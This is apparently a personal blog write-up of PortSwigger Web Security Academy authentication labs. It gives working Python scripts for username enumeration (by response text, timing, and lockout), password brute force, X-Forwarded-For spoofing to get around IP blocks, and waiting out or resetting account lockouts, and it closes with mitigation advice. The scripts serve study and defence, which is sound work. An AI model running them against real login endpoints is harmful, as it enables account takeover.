# From Developer to Attacker: Automatic Authentication Bypasses with python

### Introduction

Authentication is the front door of any web application, yet it remains one of the most frequently misconfigured components. Drawing from my experience developing backend systems in Django and Laravel, I recently solved 6 passwor-based authentication scenarios on PortSwigger's Web Security Academy.

This write-up explores how attackers chain subtle logic flaws from username enumeration to rate-limit evasion and how we can automate these attacks using custom Python scripts.

Finally, I will break down how to secure these endpoints at the code level.

### **The silent Leak: Username Enumeration**

Before launching a brute-force attack, an attacker needs a valid target. In these different laboratories, the attacker first explores the login behavior. For example, when they try to log in and the credentials are wrong, the front-end shows a different message ( like 'Invalid username or password'). We can enumerate users based on these server responses.

I developed a script that identifies different response messages, for example in a laboratory, when the username doesn't exist, the message is 'Invalid username.', but when the username exist, the message changes to 'Invalid password.'

```python
import requests
# WARNING: Educational purposes only.
# Target URL should be an authorized lab or local testing environment

def enumerate_username(url):
    with open('usernames.txt','r',encoding='utf-8') as usernames:
        
        text = 'Invalid username or password.'

        for username in usernames:
            username = username.strip('\n')
            payload = {
                'username':username,
                'password':'test'
            }
            request = requests.post(url,data=payload)

            if text not in request.text:
                print(f'[+] Valid username found: {username}')
                return username
            
    return None
```

This script automates the enumeration process and is highly effective for solving the following PortSwigger labs

- Username enumeration via different responses
- Username enumeration via subtly different responses

While looking for text discrepancies is straightforward, modern applications often return identical error messages and block offending IPs. However, they might still be vulnerable to Time-Based Enumeration, and IP blocks can frequently be bypassed using the `X-Forwarded-For` header. If the backend processes valid users differently (e.g., hashing a long password), the response time will spike.

To detect this, I modified my function to measure the response time.

```python
import requests

# WARNING: Educational purposes only.
# Target URL should be an authorized lab or local testing environment

def enumerate_users_by_time(url):
    count = 0
    ip = '10.11.10.'
    
    long_password = 'peter'*500
    
    max_time = 0
    valid_username = None

    with open('usernames.txt','r',encoding='utf-8') as usernames:
        for username in usernames:
            username = username.strip('\n')
            header = {'X-Forwarded-For':ip+str(count)}
            payload = {
                'username':username,
                'password':long_password
            }

            if count%4 == 0:
                ip ='10.11.0.'

            request = requests.post(url,headers=header,data=payload)
            response_time = request.elapsed.total_seconds()
            if response_time > max_time:
                max_time = request.elapsed.total_seconds()
                valid_username = username     
            count+=1
        print(f'[+] Highest response time: {max_time}s')
        print(f'[+] Valid username found: {valid_username}')
        return valid_username
```

**Enumerate accounts though account lock**

In some cases, when an attacker tries to log in with wrong credentials, the server takes action, for example, by blocking the user for a few minutes and showing a message like: 'You have made too many incorrect login attempts. Please try again in 30 minute(s).'. The attacker can use this information to enumerate valid users.

I developed a script that tries to log in using a usernames dictionary and a wrong password for 5 attempts, and then shows the user which accounts have been blocked.

```python
import requests

# WARNING: Educational purposes only.
# Target URL should be an authorized lab or local testing environment

def user_enumerate(url):
    with open('usernames.txt','r',encoding='utf-8') as usernames:
        for username in usernames:
            username = username.strip()
            for _ in range(0,5):
                payload = {
                        'username':username,
                        'password':'peterpeter'
                        }
                response = requests.post(url,data=payload)

                if 'Invalid username or password.' not in response.text:
                    print(f'The username is {username}')
                    
                    return username
                    
    return None
```

Once valid usernames have been identified, the next phase of the attack is to analyze the application's defensive mechanisms before launching a full password brute-force attack.

### **Brute-Force Passwords**

The simplest brute force-attack involves using password dictionaries.

I developed a script that attempts to log in using a password dictionary, testing passwords one by one. When it receives a successful response from the server, the loop stops and returns the valid passwords.

```python
import requests

# WARNING: Educational purposes only.
# Target URL should be an authorized lab or local testing environment

def brute_force(url,username):
    with open('passwords.txt','r',encoding='utf-8') as passwords:
        for password in passwords:
            password = password.strip()
            payload = {
                    'username':username,
                    'password':password
                    }
            request = requests.post(url,data=payload,allow_redirects=False)
            if request.status_code == 302:
                print(f'the password for the user {username} is {password}')
                return password
    return None
```

In another scenario, the server might have misconfigurations with its time-based account block. For example, when a user tries to log into their account and enters wrong credentials, the server blocks the account. However, if a successful login occurs on a different account, the server resets the counter and the first user's account is enabled again.

I found that after 14 failed attempts, the account was blocked. To bypass this, I developed a script that uses a sleep function for 60 seconds when the block occurs, and then continues trying the passwords one by one.

```python
import requests
import time

# WARNING: Educational purposes only.
# Target URL should be an authorized lab or local testing environment

def login(url,username):
    with open('passwords.txt','r',encoding='utf-8') as passwords:
        for password in passwords:
            password = password.strip()
            payload = {
                    'username':username,
                    'password':password
                    }
            response = requests.post(url,data=payload,allow_redirects=False)

            if 'You have made too many incorrect login attempts. Please try again in 1 minute(s).' in response.text:
                print('Sleep for 60 seconds')
                time.sleep(60)
                response = requests.post(url,data=payload,allow_redirects=False)

            if response.status_code == 302:
                print(f'The password for the user {username} is {password}')
                payload = {
                        'username':username,
                        'password':password
                        }
                response = requests.post(url,data=payload,allow_redirects=False)
                return password
    return None
```

**Handling Strict Lockouts: The "Low and Slow" Approach**

In another scenario, the application's rate limiting was strictly tied to the username rather that the IP address, rendering header spoofing ineffective. The server locked the account after a few failed attempts and returned a 'You have made too many incorrect login attempts. Please try again in 30 minute(s).' message.

Instead of looking for a complex bypass, I adapted my script to play by the HTTP response for the lockout message, pauses execution using `time.sleep(60)` to wait out the penalty, and then automatically resumes the brute-force attack. This 'Low and Slow' automation mimics real-world persistent threats.

```python
import requests
import time

# WARNING: Educational purposes only.
# Target URL should be an authorized lab or local testing environment

def login_flaw(url,username):
    with open('passwords.txt','r',encoding='utf-8') as passwords:
        
        for password in passwords:
            password = password.strip()
            payload = {
                            'username':'wiener',
                            'password':'peter'
                        }
            response = requests.post(url,data=payload,allow_redirects=False)
            print(response.status_code)
            payload = {
                        'username':'carlos',
                        'password':username
                    }

            response = requests.post(url,data=payload,allow_redirects=False)
            if "You have made too many incorrect login attempts. Please try again in 1 minute(s)." in response.text:
                time.sleep(60)
                response = requests.post(url,data=payload,allow_redirects=False)

            if response.status_code == 302:
                print(f'The password is {password}')
                return {password}
        
        return None
```

## The Developer's Perspective: Securing Authentication Endpoints

Finding and exploiting these vulnerabilities is only half the battle; as software developers and security practitioners, our ultimate goal is to write robust, secure code from day one. Based on the logic flaws we explored across these PortSwigger laboratories, here is how we can properly mitigate these authentication risks in modern backend frameworks like Django and Laravel.

1. **Mitigating Username Enumeration**

- **Generic Error Messages:** Never let the front-end distinguish between whether a username exists or not. Always return a generic response, such as "Invalid username or password", for both conditions.

* **Consistent Response Times (Timing Attacks):** To prevent time-based enumeration where the server spends extra CPU cycles hashing passwords for valid accounts, implement artificial delays or use constant-time comparison functions (such as `hash_equals()` in PHP or secure cryptographic comparisons in Python) so that both valid and invalid lookups take the exact same amount of time to execute.

2. **Implementing Resilient Rate Limiting Account**

- **Centric vs. IP-Centric Limiting:** Relying solely on the X-Forwarded-For header or IP addresses is dangerous due to proxy spoofing and shared corporate networks. Implement rate limiting tied directly to the user account (or a combination of IP and user identifier) using high-performance caching layers like Redis.
- **Preventing Counter-Reset Flaws:** Ensure that sliding-window rate limiters or lockout counters are isolated per user entity. A successful login on a test account (wiener) should never clear or reset the failed-attempt cache or global lockout counter of a completely different targeted user (carlos).

## Conclusion

Transitioning from a backend developer mindset to an offensive security perspective changes how you write code forever. By automating our tests and understanding how logic flaws manifest in authentication flows, we become better equipped to architect resilient applications that can withstand automated threats and targeted persistent attacks.

### About the Author

Hi! I'm a final-term Computer Science undergraduate and backend developer specializing in Django and Laravel, currently transitioning into Web Application Penetration Testing.

If you found this write-up useful or want to discuss security, backend development, or tech projects, let's connect:

- [Connect with me on LinkedIn](https://www.linkedin.com/in/rodrigo-martinez-nu%C3%B1ez-09b610266/)
- [Check out my other repositories on GitHub](https://github.com/Royjs99)
- [Read more articles on my Hashnode Blog](https://hashnode.com/@rsh21)
